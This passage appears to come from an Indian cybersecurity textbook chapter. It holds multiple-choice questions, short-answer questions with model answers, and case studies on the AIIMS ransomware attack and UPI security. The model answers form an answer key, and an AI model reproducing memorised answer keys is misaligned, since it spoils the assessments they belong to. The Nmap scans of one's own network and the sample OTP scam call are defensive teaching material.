- Better quality images and graphics
- Encrypted communication between browser and server using SSL/TLS
- More storage space for website data
Why is Incognito Mode NOT a security tool?
- It makes browsing too slow to be practical
- It only prevents local browser history storage; your ISP, employer, and websites can still track your activity
- It costs money to use in most browsers
- It only works on Google Chrome, not other browsers
Apply / Use (Q11–Q15)
You run nmap -sV 192.168.1.1 and see port 22 open with service "SSH." What does this mean?
- The computer has been hacked through port 22
- The SSH (Secure Shell) remote login service is running and accepting connections on that device
- The device is infected with a virus using port 22
- Port 22 is blocked by the firewall
An employee at TCS receives an email from "hr@tcs-careers.com.ng" asking them to update their bank details for salary processing. What should they do?
- Click the link immediately — HR emails are always legitimate
- Forward the email to the IT security team — the domain ".com.ng" (Nigeria) is suspicious and TCS uses @tcs.com
- Reply with their bank details since it mentions salary
- Ignore all HR emails permanently
Your friend's Instagram account was hacked. What is the FIRST recommended step to recover it?
- Create a new account and abandon the old one
- Use Instagram's official "Hacked Accounts" recovery page and immediately enable 2FA after recovery
- File an FIR at the nearest police station
- Delete the Instagram app and reinstall it
A small business owner in Pune asks you to secure their office WiFi. What is the FIRST thing you should check?
- The internet speed and bandwidth allocation
- Whether the default router admin password (admin/admin) has been changed to a strong password
- The colour and brand of the router
- How many employees use the network
You want to find all devices currently connected to your home WiFi network. Which Nmap command do you use?
- nmap -sV localhost
- nmap -sn 192.168.1.0/24
- nmap --devices --all
- nmap -p 80 localhost
-sn flag performs a ping scan (host discovery without port scanning) across the entire subnet /24 (256 addresses), listing all active devices on the network.Analyze / Classify (Q16–Q20)
In the Cosmos Bank hack (2018), attackers installed malware on the ATM switch server, cloned debit cards, and withdrew ₹94 crore from ATMs across 28 countries. Which attack category best describes this?
- Simple phishing attack
- DDoS (Distributed Denial of Service)
- Advanced Persistent Threat (APT) involving malware, SWIFT fraud, and coordinated global card cloning
- Basic SQL Injection
A Wireshark capture shows that a user's login credentials (username and password) are visible in plaintext in an HTTP POST request. What vulnerability does this indicate?
- SQL Injection vulnerability in the login form
- The website uses HTTP instead of HTTPS, resulting in lack of encryption for data in transit
- Buffer overflow in the web server
- Rootkit infection on the user's computer
Compare a phishing attack and a spear phishing attack. Which statement is most accurate?
- They are identical in methodology and targeting
- Phishing is targeted at individuals, spear phishing targets mass audiences
- Spear phishing targets specific individuals with personalised, researched content, making it significantly more dangerous than generic phishing
- Spear phishing only works on mobile devices, not desktops
An Indian bank's AI system flags a UPI transaction as suspicious because a customer who normally transacts ₹200–₹2,000 suddenly initiates a ₹50,000 transfer at 3 AM to a new beneficiary. What security technique is being used?
- Static firewall rule matching
- Behavioral analysis and ML-based anomaly detection
- SQL injection prevention mechanism
- Password hashing algorithm
CERT-In's 2022 directive mandates reporting cyber incidents within 6 hours. Analyse why this timeframe is critical.
- It is an arbitrarily chosen number with no technical justification
- Faster reporting enables faster containment, reduces damage spread across connected systems, and allows CERT-In to issue nationwide advisories to protect other organisations
- It gives hackers less time to celebrate their attack
- It only applies to government agencies, so the timeframe doesn't matter for private companies
Evaluate / Assess (Q21–Q25)
A Bangalore startup uses the same password "Admin@123" for their production database, corporate email, and AWS cloud console. Evaluate this security practice.
- It's efficient and reduces the burden of remembering multiple passwords
- It is a critical vulnerability — a single credential breach compromises ALL systems. They need unique, complex passwords for each service plus a password manager like Bitwarden
- It's acceptable for startups with fewer than 50 employees
- Only large enterprises with 1000+ employees need different passwords per service
A company's CISO claims "We use a VPN for all remote employees, so our data is 100% secure." Evaluate this claim.
- True — VPNs provide complete, end-to-end security for all digital operations
- False — VPNs only encrypt traffic in transit between the user and VPN server. They do NOT protect against phishing, malware, insider threats, or compromised endpoints
- True — VPNs block all known hackers and malware
- VPNs are only meant for personal browsing, not enterprise security
After the Kudankulam nuclear power plant malware incident (2019), which cybersecurity measure should India prioritise for critical infrastructure?
- Blocking social media access for all government employees
- Air-gapping critical operational networks, implementing ICS-specific security controls, and conducting regular red team exercises on critical infrastructure
- Banning all foreign software from nuclear facilities
- Installing commercial antivirus on all nuclear facility computers
An Indian e-commerce company handles thousands of credit card transactions daily. Which security approach should they adopt?
- Store credit card numbers in a plaintext database for easy access by customer support
- Achieve PCI-DSS compliance with tokenisation, end-to-end encryption, regular penetration testing, and quarterly security audits
- Use only CAPTCHA verification on the payment page
- Ask customers to email their card details for manual processing
Evaluate the effectiveness of India's DPDP Act 2023 compared to the EU's GDPR.
- DPDP Act is identical to GDPR in all provisions
- DPDP Act is India-specific and a significant step forward, but is less comprehensive than GDPR — it lacks provisions for data portability, has a narrower scope for cross-border data transfers, and does not cover non-digital personal data
- DPDP Act is superior to GDPR in every aspect
- DPDP Act only applies to government agencies, unlike GDPR which covers private companies
Create / Design (Q26–Q30)
You're designing a cybersecurity policy for a 50-employee Indian IT company. Which combination of measures should you implement FIRST?
- Purchase the most expensive enterprise firewall on the market
- Implement mandatory 2FA for all accounts, conduct monthly phishing awareness training, enforce a strong password policy, and establish an incident response plan
- Block access to all external websites to prevent attacks
- Hire 10 physical security guards for the office premises
You're designing an incident response plan for a ransomware attack on an Indian hospital. What should be the FIRST step when ransomware is detected?
- Pay the ransom immediately to minimise downtime
- Immediately isolate the infected systems from the network to prevent the ransomware from spreading to other connected devices
- Format all computers in the hospital and reinstall everything
- Call a press conference to inform the media
A client asks you to design a security awareness training program for their Indian employees. Which topic should be the HIGHEST priority?
- Advanced cryptography and encryption algorithms
- Recognising social engineering attacks — identifying fake calls, phishing emails, OTP scams, and suspicious links
- Building and configuring firewalls from scratch
- Learning Python programming for ethical hacking
You're creating a bug bounty program for an Indian fintech startup processing UPI payments. What should the program include?
- Only allow testing by internal employees during working hours
- Define clear scope (which systems/APIs are in scope), establish reward tiers (₹5K–₹5L based on severity), create a responsible disclosure policy, and host on HackerOne or Bugcrowd
- Allow unrestricted testing of all systems without any rules or guidelines
- Only test the mobile app UI, not the backend APIs
Design a multi-layered security architecture for protecting UPI transactions in India. Which layers should be included?
- A single strong password is sufficient for UPI security
- Device authentication (device binding) + UPI PIN/biometric verification + encrypted communication channel (TLS 1.3) + AI-powered real-time fraud detection + automatic session timeout + per-transaction limits
- Only OTP-based verification for every transaction
- A firewall at the bank level is sufficient to protect all UPI transactions
Short Answer Questions (2–3 Marks Each)
📝 Question 1 (3 Marks)
Define the CIA Triad. Give one Indian example for each component.
Expected Answer:
The CIA Triad stands for Confidentiality, Integrity, and Availability — the three core principles of cybersecurity.
Confidentiality: Ensuring only authorised users can access data. Example: Aadhaar biometric data is encrypted and accessible only to authorised government systems.
Integrity: Ensuring data is not tampered with. Example: EVM data must remain unaltered from when a vote is cast to when it is counted.
Availability: Ensuring systems are accessible when needed. Example: UPI payment systems (PhonePe, GPay) must be available 24/7 for 300M+ users.
📝 Question 2 (2 Marks)
Differentiate between a virus and a worm with one example of each.
Expected Answer:
A virus attaches to a host file and requires user action (opening/executing the file) to spread. Example: The ILOVEYOU virus spread via email attachments — users had to open the attachment.
A worm is self-replicating and spreads automatically across networks without user action. Example: The Conficker worm spread through Windows network vulnerabilities, infecting millions of computers globally without user intervention.
📝 Question 3 (3 Marks)
What is social engineering? Why is it particularly effective in India? Give one example.
Expected Answer:
Social engineering is the art of manipulating people into divulging confidential information by exploiting human psychology (trust, fear, urgency) rather than technical vulnerabilities.
Why effective in India: Cultural respect for authority figures makes Indians more likely to comply with requests from someone claiming to be from a bank, government, or police. Also, widespread use of UPI and digital payments by first-time internet users with limited awareness.
Example: A scammer calls pretending to be from SBI: "Sir, your account has been flagged. Share the OTP I'm sending to verify your identity." The victim shares the OTP, and the scammer drains their account via UPI.
📝 Question 4 (3 Marks)
List any 3 provisions of the IT Act 2000 related to cybercrime.
Expected Answer:
Section 43: Penalty for unauthorised access, data theft, or introducing malware into a computer system — compensation up to ₹1 crore.
Section 66: Computer-related offences committed dishonestly or fraudulently — punishment up to 3 years imprisonment and/or fine.
Section 66C: Identity theft — fraudulently using another person's electronic signature, password, or unique identification — punishment up to 3 years imprisonment and fine up to ₹1 lakh.
📝 Question 5 (2 Marks)
Explain how HTTPS protects data during web browsing. What is the role of SSL/TLS?
Expected Answer:
HTTPS (HyperText Transfer Protocol Secure) encrypts all data exchanged between a user's browser and the web server, preventing eavesdropping and tampering.
Role of SSL/TLS: SSL (Secure Sockets Layer) / TLS (Transport Layer Security) is the encryption protocol used by HTTPS. During the "TLS handshake," the browser and server exchange cryptographic keys and establish an encrypted channel. All subsequent data (passwords, payment details, personal info) is encrypted — even if intercepted by an attacker on the network, the data appears as gibberish.
Case Studies (10 Marks Each)
📋 Case Study 1: AIIMS Delhi Ransomware Attack (2022) — 10 Marks
Background:
On November 23, 2022, the All India Institute of Medical Sciences (AIIMS), New Delhi — India's largest and most prestigious public hospital — was hit by a ransomware attack. The attackers encrypted data on 5 out of 100+ servers, including the main and backup e-Hospital servers. Approximately 40 million patient records were at risk, including sensitive medical data of current and former patients, VVIPs, and government officials.
Timeline:
| Date | Event |
|---|---|
| Nov 23, 2022 | Ransomware detected. e-Hospital server encrypted. Hospital switches to manual operations. |
| Nov 24–25 | CERT-In, NIC, and Delhi Police Cyber Cell begin investigation. Internet services disconnected. |
| Nov 28 | Government confirms cyberattack. FIR filed under IT Act and IPC. |
| Dec 1 | Partial services restored. Patient registration goes back online. |
| Dec 6 | Most services restored. Investigation reveals unpatched systems and lack of network segmentation. |
Impact:
- Hospital went fully manual for 2 weeks — paper prescriptions, handwritten lab reports
- OPD registration delays of 2–3 hours
- Smart lab, billing, diet, report generation, and appointment systems all offline
- Estimated ransom demand: ₹200 crore in cryptocurrency (unconfirmed)
- Investigation by CERT-In, NIC, DRDO, and Delhi Police
Questions (10 Marks):
a) Which CIA triad principles were violated in this attack? Explain each with specific reference to the AIIMS case. (3 marks)
b) What security measures could have prevented or mitigated this attack? List at least 4 specific measures. (3 marks)
c) As a cybersecurity consultant hired by AIIMS post-attack, design a 5-point recovery and hardening plan to prevent future incidents. (4 marks)
📋 Case Study 2: UPI Security Architecture — 10 Marks
Context:
Unified Payments Interface (UPI), developed by NPCI (National Payments Corporation of India), is the world's most successful real-time payment system. As of 2024, UPI processes over 10 billion transactions per month worth over ₹17 lakh crore. Over 300 million unique users rely on UPI apps like PhonePe, Google Pay, Paytm, and BHIM for daily transactions — from ₹10 chai to ₹10 lakh transfers.
Security Layers in UPI:
| Layer | Mechanism | Purpose |
|---|---|---|
| Device Binding | UPI app is bound to specific device ID + SIM number | Prevents use from unauthorised devices |
| UPI PIN | 4/6-digit PIN set by user, never shared with apps | Authentication — verifies user identity |
| Encryption | TLS 1.2/1.3 for data in transit; AES encryption for stored data | Confidentiality — data unreadable if intercepted |
| NPCI Switch | Central routing server that connects banks | Controlled transaction routing with validation |
| Fraud Detection | ML-based real-time transaction monitoring | Flags anomalous patterns (unusual amounts, times, recipients) |
| Session Management | Auto-timeout after inactivity; single-session per device | Prevents unauthorised access from idle sessions |
Questions (10 Marks):
a) Identify and explain the security layers in UPI. Map each layer to the CIA triad principle it primarily protects. (4 marks)
b) A user reports an unauthorised UPI transaction of ₹25,000 from their PhonePe account. Describe the step-by-step investigation process that a security analyst would follow. (3 marks)
c) Propose 3 improvements to UPI's current security architecture using AI/ML technologies. For each, explain what problem it solves and how it works. (3 marks)
Chapter Summary — Tweet-Sized Takeaways
🔐 Key Takeaways
🔐 CIA Triad = Confidentiality + Integrity + Availability — the foundation of ALL security decisions. Every control you implement maps to one of these.
🦠 7 malware types: Virus, Worm, Trojan, Ransomware, Spyware, Adware, Rootkit — know how each spreads and what damage it causes.
🎣 Phishing is India's #1 attack vector — never share OTP, always check sender domains and URLs, verify requests through official channels.
🔍 Nmap = your first security tool — nmap localhost to see what's running on your machine. nmap -sn 192.168.1.0/24 to find all devices on your network.
🛡️ CERT-In = India's cybersecurity guardian — 6-hour mandatory incident reporting since 2022. Know about it for interviews.
📱 2FA everywhere — use Google Authenticator or Microsoft Authenticator, not SMS-based OTP when possible. Enable 2FA on ALL accounts today.
🌐 HTTPS = encrypted, HTTP = exposed — never enter passwords or payment details on HTTP sites. Look for the 🔒 padlock icon.
🇮🇳 DPDP Act 2023 = India's data protection law — up to ₹250 crore penalty for breaches. Know it for compliance roles.
💰 Bug bounties = legitimate income — Indian hackers earned $2.5 million on HackerOne in 2022. Start learning on TryHackMe and HackTheBox.
🏠 Your home network IS your first lab — scan it, audit it, secure it, and document it. That's your first portfolio piece.
Earning Checkpoint — What You Can Earn After This Chapter
| Skill Learned | Tool / Method | Portfolio Piece | Ready to Earn? |
|---|---|---|---|
| CIA Triad Concepts | Conceptual | — | ✅ Yes — can discuss in interviews and consult on security policies |
| Malware Identification | Conceptual + Analysis | Malware Classification Notes | ✅ Yes — can conduct security awareness training |
| Nmap Scanning | Nmap CLI | Network Scan Results Report | ✅ Yes — basic network auditing for local businesses |
| Phishing Detection | Email Analysis | Red Flags Identification Checklist | ✅ Yes — security awareness training delivery |
| Network Security Audit | Nmap + Manual Assessment | Home Network Audit Report | ✅ Yes — ₹3,000–₹10,000/project for local businesses |
| Indian Cyber Laws | IT Act 2000, DPDP Act 2023 | — | ✅ Yes — compliance consulting for startups |
✅ Unit 3 complete. Ready for Unit 4: DevOps & Software Engineering!
[QR: Link to EduArtha video tutorial — Cyber Security & Secure Web Browsing]